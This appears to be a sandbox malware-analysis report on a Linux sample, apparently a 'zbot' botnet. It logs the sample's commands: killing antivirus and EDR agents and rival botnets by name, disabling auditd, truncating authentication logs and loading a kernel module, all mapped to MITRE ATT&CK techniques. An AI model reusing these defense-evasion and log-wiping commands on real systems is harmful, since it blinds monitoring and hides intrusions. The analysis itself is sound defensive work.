/usr/bin/pkillpkill -9 -x avp25.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp26.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp27.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp28.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp29.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp30.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp31.exe1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp32.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp33.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp34.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp35.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp36.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp37.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp38.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp39.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp40.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp41.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp42.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp43.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp44.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp45.exe1⤵
-
/usr/bin/pkillpkill -9 -x avp46.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp47.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp48.exe1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x avp49.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x avp50.exe1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[f]alcond"1⤵
-
/usr/bin/pkillpkill -9 -f "[f]alcon"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]sagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[c]rowdstrike"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]entinelagent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]entinelhelper"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[s]1-agent"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]1-service"1⤵
-
/usr/bin/pkillpkill -9 -f "[x]agt"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]bdefense"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]bagent"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]arbonblack"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[r]epwel"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[c]ylance"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]vcdiva"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[m]datp"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[m]dallaips"1⤵
- Reads CPU attributes
- Reads runtime system information
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -f "[s]ensedata"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[s]ophos"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[s]avscanner"1⤵
-
/usr/bin/pkillpkill -9 -f "[r]tvscan"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[s]ymantec"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[S]ymAux"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[t]rendmicro"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[d]s_agent"1⤵
-
/usr/bin/pkillpkill -9 -f "[e]dragent"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -f "[o]squeryd"1⤵
-
/usr/bin/pkillpkill -9 -f "[s]ysmon"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[c]lamd"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[k]lscan"1⤵
-
/usr/bin/pkillpkill -9 -f "[k]avfs"1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 "[a]uditd"1⤵
-
/sbin/auditctlauditctl -e 01⤵
-
/usr/bin/pkillpkill -9 -f "[s]noop"1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -f "[a]ccton"1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/truncatetruncate -s 0 /var/log/auth.log /var/log/secure /var/log/wtmp /var/log/lastlog1⤵
- Deletes log files
-
/usr/bin/pkillpkill -9 -x mirai1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x mirai.arm1⤵
-
/usr/bin/pkillpkill -9 -x mirai.mips1⤵
- System Network Configuration Discovery
-
/usr/bin/pkillpkill -9 -x mirai.mpsel1⤵
-
/usr/bin/pkillpkill -9 -x gafgyt1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x bashlite1⤵
-
/usr/bin/pkillpkill -9 -x tsunami1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x hakai1⤵
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x sora1⤵
-
/usr/bin/pkillpkill -9 -x qbot1⤵
- Reads CPU attributes
- Reads runtime system information
-
/usr/bin/pkillpkill -9 -x astaroth1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x ozyman1⤵
- Reads CPU attributes
-
/usr/bin/pkillpkill -9 -x nihappy1⤵
-
/tmp/.z/tmp/.z1⤵
-
/sbin/modprobemodprobe zbot1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
2At
1Cron
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Indicator Removal
1Clear Linux or Mac System Logs
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
zbot
.z
tmp.Ob77AC
zbot